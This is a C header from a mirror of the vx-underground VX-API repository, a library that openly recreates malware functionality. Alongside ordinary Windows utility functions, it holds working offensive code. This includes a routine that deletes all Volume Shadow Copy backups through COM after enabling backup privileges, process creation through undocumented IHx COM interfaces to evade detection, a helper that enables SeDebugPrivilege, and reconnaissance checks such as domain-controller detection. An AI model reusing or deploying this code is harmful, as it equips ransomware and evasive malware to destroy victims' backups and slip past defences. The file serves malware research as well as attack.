admin/vxunderground-VX-API
1
0
Fork 0
mirror of https://github.com/vxunderground/VX-API synced 2026-06-06 16:54:55 +00:00
Code Issues Packages Projects Releases Wiki Activity
Files
59db771f970e70638461afb4bf8a2da895540c3c
vxunderground-VX-API/VX-API/MalwareRecreatedFunctionality.h
T
vxunderground ed3d4eadd6 update 
0000001
2022-06-17 03:16:41 -05:00

939 lines
24 KiB
C
Raw Blame History

#pragma once
#include "MalwareHeader.h"
#pragma region "Random String Generation"
PWCHAR GeneratePseudoRandomStringW(SIZE_T dwLength)
{
WCHAR DataSet[] = L"abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789";
PWCHAR String = NULL;
String = (PWCHAR)RtlHeapAllocForward((sizeof(WCHAR) * (dwLength + 1)));
if (String == NULL)
return NULL;
#pragma warning (push)
#pragma warning (disable: 4018)
for (INT dwN = 0; dwN < dwLength; dwN++)
{
INT Key = PseudoRandomInteger() % (INT)(StringLengthW(DataSet) - 1);
String[dwN] = DataSet[Key];
}
#pragma warning (pop)
#pragma warning (push)
#pragma warning (disable: 6386)
String[dwLength] = '\0';
#pragma warning (pop)
return String;
}
PCHAR GeneratePseudoRandomStringA(SIZE_T dwLength)
{
CHAR DataSet[] = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789";
PCHAR String = NULL;
String = (PCHAR)RtlHeapAllocForward((sizeof(CHAR) * (dwLength + 1)));
if (String == NULL)
return NULL;
#pragma warning (push)
#pragma warning (disable: 4018)
for (INT dwN = 0; dwN < dwLength; dwN++)
{
INT Key = PseudoRandomInteger() % (INT)(StringLengthA(DataSet) - 1);
String[dwN] = DataSet[Key];
}
#pragma warning (pop)
#pragma warning (push)
#pragma warning (disable: 6386)
String[dwLength] = '\0';
#pragma warning (pop)
return String;
}
#pragma endregion
#pragma region "Is Path Valid"
BOOL IsPathValidA(PCHAR FilePath)
{
HANDLE hFile = INVALID_HANDLE_VALUE;
hFile = CreateFileA(FilePath, GENERIC_READ, 0, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);
if (hFile == INVALID_HANDLE_VALUE)
return FALSE;
if (hFile)
RtlCloseHandleForward(hFile);
return TRUE;
}
BOOL IsPathValidW(PWCHAR FilePath)
{
HANDLE hFile = INVALID_HANDLE_VALUE;
hFile = CreateFileW(FilePath, GENERIC_READ, 0, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);
if (hFile == INVALID_HANDLE_VALUE)
return FALSE;
if (hFile)
RtlCloseHandleForward(hFile);
return TRUE;
}
#pragma endregion
#pragma region "Delete File Alternative"
BOOL DeleteFileAltA(PCHAR Path)
{
HANDLE hHandle = INVALID_HANDLE_VALUE;
if (Path == NULL)
return FALSE;
if (!IsPathValidA(Path))
return FALSE;
hHandle = CreateFileA(Path, GENERIC_READ, 0, NULL, OPEN_EXISTING, FILE_FLAG_DELETE_ON_CLOSE, NULL);
if (hHandle == INVALID_HANDLE_VALUE)
return FALSE;
RtlCloseHandleForward(hHandle);
return TRUE;
}
BOOL DeleteFileAltW(PWCHAR Path)
{
HANDLE hHandle = INVALID_HANDLE_VALUE;
if (Path == NULL)
return FALSE;
if (!IsPathValidW(Path))
return FALSE;
hHandle = CreateFileW(Path, GENERIC_READ, 0, NULL, OPEN_EXISTING, FILE_FLAG_DELETE_ON_CLOSE, NULL);
if (hHandle == INVALID_HANDLE_VALUE)
return FALSE;
RtlCloseHandleForward(hHandle);
return TRUE;
}
#pragma endregion
#pragma region "Error Handling Functions"
DWORD GetLastErrorAlt(VOID)
{
return GetTeb()->LastErrorValue;
}
NTSTATUS GetLastNtStatusAlt(VOID)
{
return GetTeb()->LastStatusValue;
}
VOID SetLastErrorAlt(DWORD ErrorCode)
{
GetTeb()->LastErrorValue = ErrorCode;
}
VOID SetLastNtStatusAlt(NTSTATUS Status)
{
GetTeb()->LastStatusValue = Status;
}
DWORD Win32FromHResult(HRESULT Result)
{
if ((Result & 0xFFFF0000) == MAKE_HRESULT(SEVERITY_ERROR, FACILITY_WIN32, 0))
return HRESULT_CODE(Result);
if (Result == S_OK)
return ERROR_SUCCESS;
return ERROR_CAN_NOT_COMPLETE;
}
#pragma endregion
#pragma region "Get Current Directory"
DWORD GetCurrentDirectoryAltA(DWORD nBufferLength, PCHAR lpBuffer, BOOL UseAlt)
{
PRTL_USER_PROCESS_PARAMETERS ProcessParameters = (UseAlt ? GetPebAlt()->ProcessParameters : GetPeb()->ProcessParameters);
if (ProcessParameters->CurrentDirectory.DosPath.Length > nBufferLength)
return ERROR_FAILURE_RETURN;
return (DWORD)WCharStringToCharString(lpBuffer, ProcessParameters->CurrentDirectory.DosPath.Buffer, ProcessParameters->CurrentDirectory.DosPath.MaximumLength);
}
DWORD GetCurrentDirectoryAltW(DWORD nBufferLength, PWCHAR lpBuffer, BOOL UseAlt)
{
PRTL_USER_PROCESS_PARAMETERS ProcessParameters = (UseAlt ? GetPebAlt()->ProcessParameters : GetPeb()->ProcessParameters);
if (ProcessParameters->CurrentDirectory.DosPath.Length > nBufferLength)
return ERROR_FAILURE_RETURN;
if (StringCopyW(lpBuffer, ProcessParameters->CurrentDirectory.DosPath.Buffer) == NULL)
return ERROR_FAILURE_RETURN;
return ProcessParameters->CurrentDirectory.DosPath.Length;
}
#pragma endregion
#pragma region "Process Identification"
HANDLE GetCurrentProcessAlt(VOID)
{
return (HANDLE)((HANDLE)-1);
}
DWORD GetCurrentProcessIdAlt(VOID)
{
return HandleToUlong(GetTeb()->ClientId.UniqueProcess);
}
HANDLE GetCurrentThreadAlt(VOID)
{
return ((HANDLE)(LONG_PTR)-2);
}
#pragma endregion
#pragma region "Get Current Window Text Alternative"
DWORD GetCurrentWindowTextAltA(DWORD nBufferLength, PCHAR lpBuffer, BOOL UseAlt)
{
PRTL_USER_PROCESS_PARAMETERS ProcessParameters = (UseAlt ? GetPebAlt()->ProcessParameters : GetPeb()->ProcessParameters);
if (nBufferLength < ProcessParameters->WindowTitle.Length)
return ERROR_FAILURE_RETURN;
return (DWORD)WCharStringToCharString(lpBuffer, ProcessParameters->WindowTitle.Buffer, ProcessParameters->WindowTitle.MaximumLength);
}
DWORD GetCurrentWindowTextAltW(DWORD nBufferLength, PWCHAR lpBuffer, BOOL UseAlt)
{
PRTL_USER_PROCESS_PARAMETERS ProcessParameters = (UseAlt ? GetPebAlt()->ProcessParameters : GetPeb()->ProcessParameters);
if (nBufferLength < ProcessParameters->WindowTitle.Length)
return ERROR_FAILURE_RETURN;
if (StringCopyW(lpBuffer, ProcessParameters->WindowTitle.Buffer) == NULL)
return ERROR_FAILURE_RETURN;
return ProcessParameters->WindowTitle.Length;
}
#pragma endregion
#pragma region "Get File Path"
DWORD GetInMemoryModulePathFromProcessParametersA(DWORD nBufferLength, PCHAR lpBuffer, BOOL UseAlt)
{
PRTL_USER_PROCESS_PARAMETERS ProcessParameters = (UseAlt ? GetPebAlt()->ProcessParameters : GetPeb()->ProcessParameters);
if (nBufferLength < ProcessParameters->ImagePathName.Length)
return ERROR_FAILURE_RETURN;
return (DWORD)WCharStringToCharString(lpBuffer, ProcessParameters->ImagePathName.Buffer, ProcessParameters->ImagePathName.MaximumLength);
}
DWORD GetInMemoryModulePathFromProcessParametersW(DWORD nBufferLength, PWCHAR lpBuffer, BOOL UseAlt)
{
PRTL_USER_PROCESS_PARAMETERS ProcessParameters = (UseAlt ? GetPebAlt()->ProcessParameters : GetPeb()->ProcessParameters);
if (nBufferLength < ProcessParameters->ImagePathName.Length)
return ERROR_FAILURE_RETURN;
if (StringCopyW(lpBuffer, ProcessParameters->ImagePathName.Buffer) == NULL)
return ERROR_FAILURE_RETURN;
return ProcessParameters->ImagePathName.Length;
}
DWORD GetInMemoryModulePathFromLoaderLoadModuleA(DWORD nBufferLength, PCHAR lpBuffer, BOOL UseAlt)
{
PPEB Peb = (UseAlt ? GetPebAlt() : GetPeb());
PLDR_MODULE Module = NULL;
Module = (PLDR_MODULE)((PBYTE)Peb->LoaderData->InMemoryOrderModuleList.Flink - 16);
if (nBufferLength < Module->FullDllName.Length)
return ERROR_FAILURE_RETURN;
return (DWORD)WCharStringToCharString(lpBuffer, Module->FullDllName.Buffer, Module->FullDllName.MaximumLength);
}
DWORD GetInMemoryModulePathFromLoaderLoadModuleW(DWORD nBufferLength, PWCHAR lpBuffer, BOOL UseAlt)
{
PPEB Peb = (UseAlt ? GetPebAlt() : GetPeb());
PLDR_MODULE Module = NULL;
Module = (PLDR_MODULE)((PBYTE)Peb->LoaderData->InMemoryOrderModuleList.Flink - 16);
if(nBufferLength < Module->FullDllName.Length)
return ERROR_FAILURE_RETURN;
if (StringCopyW(lpBuffer, Module->FullDllName.Buffer) == NULL)
return ERROR_FAILURE_RETURN;
return Module->FullDllName.Length;
}
#pragma endregion
#pragma region "Get Windows Directory Alternative"
BOOL GetSystemWindowsDirectoryAltA(DWORD nBufferLength, PCHAR lpBuffer)
{
PKUSER_SHARED_DATA SharedData = GetKUserSharedData();
if (nBufferLength < StringLengthW(SharedData->NtSystemRoot))
return FALSE;
if (WCharStringToCharString(lpBuffer, SharedData->NtSystemRoot, nBufferLength) != 0)
return TRUE;
else
return FALSE;
}
BOOL GetSystemWindowsDirectoryAltW(DWORD nBufferLength, PWCHAR lpBuffer)
{
PKUSER_SHARED_DATA SharedData = GetKUserSharedData();
if (nBufferLength < StringLengthW(SharedData->NtSystemRoot))
return FALSE;
if (StringCopyW(lpBuffer, SharedData->NtSystemRoot) == NULL)
return FALSE;
return TRUE;
}
#pragma endregion
#pragma region "Create Process Alternatives by COM"
struct __declspec(uuid("8cec595b-07a1-11d9-b15e-000d56bfe6ee"))
IHxInteractiveUser : public IUnknown {
virtual VOID __stdcall Execute(PWCHAR pcUrl) = 0;
};
struct __declspec(uuid("{8cec592c-07a1-11d9-b15e-000d56bfe6ee}"))
IHxHelpPaneServer : public IUnknown {
virtual HRESULT __stdcall DisplayTask(PWCHAR) = 0;
virtual HRESULT __stdcall DisplayContents(PWCHAR) = 0;
virtual HRESULT __stdcall DisplaySearchResults(PWCHAR) = 0;
virtual HRESULT __stdcall Execute(const PWCHAR) = 0;
};
HRESULT CoInitializeIHxHelpIds(LPGUID Clsid, LPGUID Iid)
{
HRESULT Result = S_OK;
if (!SUCCEEDED(Result = CLSIDFromString(L"{8cec58ae-07a1-11d9-b15e-000d56bfe6ee}", Clsid)))
return Result;
if (!SUCCEEDED(Result = CLSIDFromString(L"{8cec592c-07a1-11d9-b15e-000d56bfe6ee}", Iid)))
return Result;
return Result;
}
HRESULT CoInitializeIHxInteractiveUserIds(LPGUID Clsid, LPGUID Iid)
{
HRESULT Result = S_OK;
if (!SUCCEEDED(Result = CLSIDFromString(L"{8cec58e7-07a1-11d9-b15e-000d56bfe6ee}", Clsid)))
return Result;
if (!SUCCEEDED(Result = CLSIDFromString(L"{8cec595b-07a1-11d9-b15e-000d56bfe6ee}", Iid)))
return Result;
return Result;
}
HRESULT CreateProcessFromIHxInteractiveUserW(PWCHAR UriFile)
{
HRESULT Result = S_OK;
GUID CLSID_IHxInteractiveUser;
GUID IID_IHxInteractiveUser;
IHxInteractiveUser* User = NULL;
if(!SUCCEEDED(Result = CoInitializeIHxInteractiveUserIds(&CLSID_IHxInteractiveUser, &IID_IHxInteractiveUser)))
return Win32FromHResult(Result);
if (!SUCCEEDED(Result = CoInitializeEx(NULL, COINIT_MULTITHREADED)))
return Win32FromHResult(Result);
if (!SUCCEEDED(Result = CoCreateInstance(CLSID_IHxInteractiveUser, NULL, CLSCTX_ALL, IID_IHxInteractiveUser, (PVOID*)&User)))
return Win32FromHResult(Result);
User->Execute(UriFile);
if (User)
User->Release();
CoUninitialize();
return Win32FromHResult(Result);
}
HRESULT CreateProcessFromIHxHelpPaneServerW(PWCHAR UriFile)
{
HRESULT Result = S_OK;
GUID CLSID_IHxHelpPaneServer;
GUID IID_IHxHelpPaneServer;
IHxHelpPaneServer* Help = NULL;
if (!SUCCEEDED(Result = CoInitializeIHxHelpIds(&CLSID_IHxHelpPaneServer, &IID_IHxHelpPaneServer)))
return Win32FromHResult(Result);
if (!SUCCEEDED(Result = CoInitializeEx(NULL, COINIT_MULTITHREADED)))
return Win32FromHResult(Result);
if (!SUCCEEDED(CoCreateInstance(CLSID_IHxHelpPaneServer, NULL, CLSCTX_ALL, IID_IHxHelpPaneServer, (PVOID*)&Help)))
return Win32FromHResult(Result);
Result = Help->Execute(UriFile);
if (Help)
Help->Release();
CoUninitialize();
return Win32FromHResult(Result);
}
#pragma endregion
#pragma region "Get Environment Variable From Current User"
DWORD GetEnvironmentVariableAltW(LPCWSTR Name, LPWSTR Buffer, DWORD Size, BOOL UseAlt)
{
UNICODE_STRING uString; RtlZeroMemory(&uString, sizeof(UNICODE_STRING));
UNICODE_STRING Variable; RtlZeroMemory(&Variable, sizeof(UNICODE_STRING));
DWORD Token[1] = { 61 };
LPWSTR String = NULL;
PRTL_USER_PROCESS_PARAMETERS ProcessParameters = (PRTL_USER_PROCESS_PARAMETERS)(UseAlt ? GetPebAlt()->ProcessParameters : GetPeb()->ProcessParameters);
LPWSTR Environment = (LPWSTR)ProcessParameters->Environment;
LPWSTR lpszPtr = (LPWSTR)Environment;
PWCHAR Pointer;
BOOL bFlag = FALSE;
String = (LPWSTR)RtlHeapAllocForward(sizeof(WCHAR) * 2);
if (String == NULL)
goto EXIT_ROUTINE;
DecimalToAsciiW(String, Token, 1);
Name = CaplockStringW((PWCHAR)Name);
if (Name == NULL)
goto EXIT_ROUTINE;
RtlInitUnicodeString(&Variable, (PWCHAR)Name);
while (*lpszPtr)
{
DWORD dwVariableHash = 0;
DWORD dwPointerHash = 0;
lpszPtr += StringLengthW(lpszPtr) + 1;
Pointer = StringTokenW(lpszPtr, String);
if (Pointer == NULL)
goto EXIT_ROUTINE;
Pointer = CaplockStringW((PWCHAR)Pointer);
dwVariableHash = HashStringDjb2W(Variable.Buffer);
dwPointerHash = HashStringDjb2W(lpszPtr);
if (dwVariableHash == dwPointerHash)
{
lpszPtr += StringLengthW(lpszPtr) + 1;
Pointer = StringTokenW(lpszPtr, String);
if (Pointer == NULL)
goto EXIT_ROUTINE;
RtlInitUnicodeString(&uString, Pointer);
break;
}
}
if (StringCopyW(Buffer, uString.Buffer) == NULL)
goto EXIT_ROUTINE;
bFlag = TRUE;
EXIT_ROUTINE:
if (String)
RtlHeapFreeForward(String);
return (bFlag == TRUE ? uString.Length : 0);
}
DWORD GetEnvironmentVariableAltA(LPCSTR Name, LPSTR Buffer, DWORD Size, BOOL UseAlt)
{
UNICODE_STRING uString; RtlZeroMemory(&uString, sizeof(UNICODE_STRING));
UNICODE_STRING Variable; RtlZeroMemory(&Variable, sizeof(UNICODE_STRING));
DWORD Token[1] = { 61 };
LPWSTR String = NULL;
PRTL_USER_PROCESS_PARAMETERS ProcessParameters = (PRTL_USER_PROCESS_PARAMETERS)(UseAlt ? GetPebAlt()->ProcessParameters : GetPeb()->ProcessParameters);
LPWSTR Environment = (LPWSTR)ProcessParameters->Environment;
LPWSTR lpszPtr = (LPWSTR)Environment;
PWCHAR Pointer;
PWCHAR pwName = NULL;
BOOL bFlag = FALSE;
String = (LPWSTR)RtlHeapAllocForward(sizeof(WCHAR) * 2);
if (String == NULL)
goto EXIT_ROUTINE;
pwName = (LPWSTR)RtlHeapAllocForward(256);
if (pwName == NULL)
goto EXIT_ROUTINE;
if (CharStringToWCharString(pwName, (PCHAR)Name, 256) == 0)
goto EXIT_ROUTINE;
DecimalToAsciiW(String, Token, 1);
pwName = CaplockStringW((PWCHAR)pwName);
if (Name == NULL)
goto EXIT_ROUTINE;
RtlInitUnicodeString(&Variable, (PWCHAR)pwName);
while (*lpszPtr)
{
DWORD dwVariableHash = 0;
DWORD dwPointerHash = 0;
lpszPtr += StringLengthW(lpszPtr) + 1;
Pointer = StringTokenW(lpszPtr, String);
if (Pointer == NULL)
goto EXIT_ROUTINE;
Pointer = CaplockStringW((PWCHAR)Pointer);
dwVariableHash = HashStringDjb2W(Variable.Buffer);
dwPointerHash = HashStringDjb2W(lpszPtr);
if (dwVariableHash == dwPointerHash)
{
lpszPtr += StringLengthW(lpszPtr) + 1;
Pointer = StringTokenW(lpszPtr, String);
if (Pointer == NULL)
goto EXIT_ROUTINE;
RtlInitUnicodeString(&uString, Pointer);
break;
}
}
if (WCharStringToCharString(Buffer, uString.Buffer, uString.MaximumLength) == 0)
goto EXIT_ROUTINE;
bFlag = TRUE;
EXIT_ROUTINE:
if (pwName)
RtlHeapFreeForward(pwName);
if (String)
RtlHeapFreeForward(String);
return (bFlag == TRUE ? uString.Length : 0);
}
#pragma endregion
#pragma region "Set Process Tokens"
BOOL SetProcessPrivilegeToken(DWORD PrivilegeEnum)
{
HANDLE Process = GetCurrentProcessAlt();
HANDLE Token = INVALID_HANDLE_VALUE;
TOKEN_PRIVILEGES Privileges = { 0 };
DWORD TokenLength = 0;
LUID LocalId = { 0 };
BOOL bFlag = FALSE;
WCHAR PrivilegeString[256] = { 0 };
if (!OpenProcessToken(Process, TOKEN_QUERY | TOKEN_ADJUST_PRIVILEGES, &Token))
return FALSE;
switch (PrivilegeEnum)
{
case MW_SEDEBUG_PRIVILEGE:
{
StringCopyW(PrivilegeString, (PWCHAR)L"SeDebugPrivilege");
break;
}
case MW_SEBACKUP_PRIVILEGE:
{
StringCopyW(PrivilegeString, (PWCHAR)L"SeBackupPrivilege");
break;
}
default:
goto EXIT_ROUTINE;
}
if (LookupPrivilegeValueW(NULL, PrivilegeString, &LocalId))
{
Privileges.Privileges[0].Luid = LocalId;
Privileges.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
Privileges.PrivilegeCount = 1;
if (!AdjustTokenPrivileges(Token, FALSE, &Privileges, 0, NULL, &TokenLength))
goto EXIT_ROUTINE;
}
bFlag = TRUE;
EXIT_ROUTINE:
if (Token)
RtlCloseHandleForward(Token);
return bFlag;
}
#pragma endregion
#pragma region "Shadow Volumes Functionality"
HRESULT ComDisableGlobalSeh(VOID)
{
HRESULT Result = S_OK;
IGlobalOptions* GlobalOptions;
#pragma warning( push )
#pragma warning( disable : 6387)
Result = CoCreateInstance(CLSID_GlobalOptions, NULL, CLSCTX_INPROC_SERVER, IID_PPV_ARGS(&GlobalOptions));
#pragma warning( pop )
if (!SUCCEEDED(Result))
goto EXIT_ROUTINE;
Result = GlobalOptions->Set(COMGLB_EXCEPTION_HANDLING, COMGLB_EXCEPTION_DONOT_HANDLE);
GlobalOptions->Release();
EXIT_ROUTINE:
return Result;
}
DWORD InitializeComWithSecurityContextDefault(BOOL DisableSeh)
{
HRESULT Result = S_OK;
Result = CoInitializeEx(NULL, 0);
if (!SUCCEEDED(Result))
goto EXIT_ROUTINE;
Result = CoInitializeSecurity(NULL, -1, NULL, NULL, RPC_C_AUTHN_LEVEL_PKT_PRIVACY, RPC_C_IMP_LEVEL_IDENTIFY, NULL, EOAC_NONE, NULL);
if (!SUCCEEDED(Result))
goto EXIT_ROUTINE;
if (DisableSeh)
Result = ComDisableGlobalSeh();
EXIT_ROUTINE:
return Win32FromHResult(Result);
}
DWORD ComVssDeleteShadowVolumeBackups(BOOL CoUninitializeAfterCompletion)
{
HRESULT Result = S_OK;
IVssCoordinator* VssCoordinator = NULL;
VSS_OBJECT_PROP* Snapshots = NULL;
IVssEnumObject* EnumObject = NULL;
LONG NumberOfSnapshots = 0;
ULONG Objects = 16, Retrieved = 0;
PWCHAR ShadowCopySetId = NULL, ShadowCopyId = NULL;
if (InitializeComWithSecurityContextDefault(TRUE) != ERROR_SUCCESS)
goto EXIT_ROUTINE;
if (!SetProcessPrivilegeToken(MW_SEBACKUP_PRIVILEGE))
return FALSE;
#pragma warning( push )
#pragma warning( disable : 6387)
if (!SUCCEEDED(Result = CoCreateInstance(CLSID_CVssCoordinator, NULL, CLSCTX_LOCAL_SERVER, IID_PPV_ARGS(&VssCoordinator))))
goto EXIT_ROUTINE;
#pragma warning( pop )
if (!SUCCEEDED(Result = VssCoordinator->SetContext(-1)))
goto EXIT_ROUTINE;
if (!SUCCEEDED(Result = VssCoordinator->Query(GUID_NULL, VSS_OBJECT_NONE, VSS_OBJECT_SNAPSHOT, &EnumObject)))
goto EXIT_ROUTINE;
Snapshots = (VSS_OBJECT_PROP*)RtlHeapAllocForward((sizeof(VSS_OBJECT_PROP) * Objects));
if (Snapshots == NULL)
goto EXIT_ROUTINE;
if (!SUCCEEDED(Result = EnumObject->Next(Objects, Snapshots, (PULONG)&NumberOfSnapshots)))
goto EXIT_ROUTINE;
ShadowCopySetId = (PWCHAR)RtlHeapAllocForward((32 * sizeof(WCHAR)));
if (ShadowCopySetId == NULL)
goto EXIT_ROUTINE;
ShadowCopyId = (PWCHAR)RtlHeapAllocForward((32 * sizeof(WCHAR)));
if (ShadowCopyId == NULL)
goto EXIT_ROUTINE;
while (NumberOfSnapshots--)
{
VSS_OBJECT_PROP Element = Snapshots[NumberOfSnapshots];
LONG Dispose = 0;
GUID SnapshotDipose = { 0 };
if (Element.Type != VSS_OBJECT_SNAPSHOT)
continue;
RtlZeroMemory(ShadowCopyId, (32 * sizeof(WCHAR)));
RtlZeroMemory(ShadowCopySetId, (32 * sizeof(WCHAR)));
if (StringFromGUID2(Element.Obj.Snap.m_SnapshotId, ShadowCopyId, (32 * sizeof(WCHAR))) == ERROR_FAILURE_RETURN)
continue;
if (StringFromGUID2(Element.Obj.Snap.m_SnapshotSetId, ShadowCopySetId, (32 * sizeof(WCHAR))) == ERROR_FAILURE_RETURN)
continue;
VssCoordinator->DeleteSnapshots(Element.Obj.Snap.m_SnapshotId, VSS_OBJECT_SNAPSHOT, 1, &Dispose, &SnapshotDipose);
}
EXIT_ROUTINE:
if (ShadowCopyId)
RtlHeapFreeForward(ShadowCopyId);
if (ShadowCopySetId)
RtlHeapFreeForward(ShadowCopySetId);
if (EnumObject)
EnumObject->Release();
if (VssCoordinator)
VssCoordinator->Release();
if (CoUninitializeAfterCompletion)
CoUninitialize();
return Win32FromHResult(Result);
}
#pragma endregion
#pragma region "Is Process Running As Admin"
BOOL IsProcessRunningAsAdmin(VOID)
{
HANDLE hToken = NULL;
TOKEN_ELEVATION Elevation = { 0 };
DWORD dwSize = 0;
BOOL bFlag = FALSE;
if (!OpenProcessToken(GetCurrentProcessAlt(), TOKEN_QUERY, &hToken))
goto EXIT_ROUTINE;
if (!GetTokenInformation(hToken, TokenElevation, &Elevation, sizeof(Elevation), &dwSize))
goto EXIT_ROUTINE;
bFlag = TRUE;
EXIT_ROUTINE:
if (!bFlag)
SetLastErrorAlt(ERROR_ACCESS_DENIED);
if (hToken)
RtlCloseHandleForward(hToken);
return (bFlag ? Elevation.TokenIsElevated : FALSE);
}
#pragma endregion
#pragma region "OS Version Information"
DWORD GetOSIdentificationData(DWORD Id, BOOL UseAlt)
{
PPEB Peb = (UseAlt ? GetPebAlt() : GetPeb());
switch (Id)
{
case OSMAJORVERSION:
return Peb->OSMajorVersion;
case OSMINORVERSION:
return Peb->OSMinorVersion;
case OSBUILDNUMBER:
return Peb->OSBuildNumber;
case OSPLATFORMID:
return Peb->OSPlatformId;
default:
return ERROR_FAILURE_RETURN;
}
return ERROR_FAILURE_RETURN;
}
#pragma endregion
#pragma region "In Memory Module Enumeration"
DWORD GetLinkedDllCount(STRING_HASH_VARIANTS Variant, BOOL UseAlt)
{
PPEB Peb = (UseAlt ? GetPebAlt() : GetPeb());
PLDR_MODULE Module = NULL;
DWORD dwIndexHash = 0;
DWORD dwCount = 0;
Module = (PLDR_MODULE)((PBYTE)Peb->LoaderData->InMemoryOrderModuleList.Flink - 16);
dwIndexHash = HashStringBasedOnVariantW(Variant, Module->BaseDllName.Buffer);
for (; TRUE; dwCount++)
{
Module = (PLDR_MODULE)((PBYTE)Module->InMemoryOrderModuleList.Flink - 16);
if (Module->BaseDllName.Buffer != NULL)
{
if (HashStringBasedOnVariantW(Variant, Module->BaseDllName.Buffer) == dwIndexHash)
break;
}
}
return dwCount;
}
BOOL IsDllLinkedToModule(STRING_HASH_VARIANTS Variant, DWORD dwHash, BOOL UseAlt)
{
PPEB Peb = (UseAlt ? GetPebAlt() : GetPeb());
PLDR_MODULE Module = NULL;
DWORD dwIndexHash = 0;
DWORD dwCount = 0;
BOOL bFlag = FALSE;
Module = (PLDR_MODULE)((PBYTE)Peb->LoaderData->InMemoryOrderModuleList.Flink - 16);
dwIndexHash = HashStringBasedOnVariantW(Variant, Module->BaseDllName.Buffer);
for (; TRUE; dwCount++)
{
Module = (PLDR_MODULE)((PBYTE)Module->InMemoryOrderModuleList.Flink - 16);
if (Module->BaseDllName.Buffer != NULL)
{
if (HashStringBasedOnVariantW(Variant, Module->BaseDllName.Buffer) == dwIndexHash)
break;
if (HashStringBasedOnVariantW(Variant, Module->BaseDllName.Buffer) == dwHash)
bFlag = TRUE;
}
}
return bFlag;
}
#pragma endregion
#pragma region "Get Keyboard Layout"
BOOL GetKeyBoardLayoutInformation(PDWORD LanguageIdentifierForInputLanguage, PHANDLE DeviceHandleToPhysicalLayout)
{
DWORD dwError = ERROR_SUCCESS;
HKL KeyboardLayout = NULL;
KeyboardLayout = GetKeyboardLayout(ERROR_SUCCESS);
if (KeyboardLayout == NULL)
return FALSE;
*DeviceHandleToPhysicalLayout = (HANDLE)HIWORD(KeyboardLayout);
*LanguageIdentifierForInputLanguage = LOWORD(KeyboardLayout);
return TRUE;
}
#pragma endregion
#pragma region "Is Domain Controller"
DWORD DsRoleIsDomainController(PBOOL IsDomainController)
{
typedef enum _DSROLE_PRIMARY_DOMAIN_INFO_LEVEL {
DsRolePrimaryDomainInfoBasic = 1,
DsRoleUpgradeStatus,
DsRoleOperationState
} DSROLE_PRIMARY_DOMAIN_INFO_LEVEL;
typedef enum _DSROLE_MACHINE_ROLE {
DsRole_RoleStandaloneWorkstation,
DsRole_RoleMemberWorkstation,
DsRole_RoleStandaloneServer,
DsRole_RoleMemberServer,
DsRole_RoleBackupDomainController,
DsRole_RolePrimaryDomainController
} DSROLE_MACHINE_ROLE;
typedef struct _DSROLE_PRIMARY_DOMAIN_INFO_BASIC {
DSROLE_MACHINE_ROLE MachineRole;
ULONG Flags;
LPWSTR DomainNameFlat;
LPWSTR DomainNameDns;
LPWSTR DomainForestName;
GUID DomainGuid;
} DSROLE_PRIMARY_DOMAIN_INFO_BASIC, * PDSROLE_PRIMARY_DOMAIN_INFO_BASIC;
typedef DWORD(WINAPI* DSROLEGETPRIMARYDOMAININFORMATION)(LPCWSTR, DSROLE_PRIMARY_DOMAIN_INFO_LEVEL, PDSROLE_PRIMARY_DOMAIN_INFO_BASIC);
typedef VOID(WINAPI* DSROLEFREEMEMORY)(PVOID);
HMODULE hLibrary = NULL;
DSROLEGETPRIMARYDOMAININFORMATION DsRoleGetPrimaryDomainInformation = NULL;
DSROLEFREEMEMORY DsRoleFreeMemory = NULL;
PDSROLE_PRIMARY_DOMAIN_INFO_BASIC Buffer = 0;
DWORD dwError = ERROR_SUCCESS;
*IsDomainController = FALSE;
hLibrary = LoadLibraryW(L"Netapi32.dll");
if (hLibrary == NULL)
goto EXIT_ROUTINE;
DsRoleGetPrimaryDomainInformation = (DSROLEGETPRIMARYDOMAININFORMATION)GetProcAddress(hLibrary, "DsRoleGetPrimaryDomainInformation");
DsRoleFreeMemory = (DSROLEFREEMEMORY)GetProcAddress(hLibrary, "DsRoleFreeMemory");
if (!DsRoleGetPrimaryDomainInformation || !DsRoleFreeMemory)
goto EXIT_ROUTINE;
if (DsRoleGetPrimaryDomainInformation(0, DsRolePrimaryDomainInfoBasic, Buffer) != ERROR_SUCCESS)
goto EXIT_ROUTINE;
if (Buffer != NULL)
{
if (Buffer->MachineRole == DsRole_RolePrimaryDomainController)
*IsDomainController = TRUE;
}
EXIT_ROUTINE:
dwError = GetLastError();
if (hLibrary)
FreeLibrary(hLibrary);
if (Buffer)
DsRoleFreeMemory(&Buffer);
return dwError;
}
#pragma endregion
Reference in New Issue View Git Blame Copy Permalink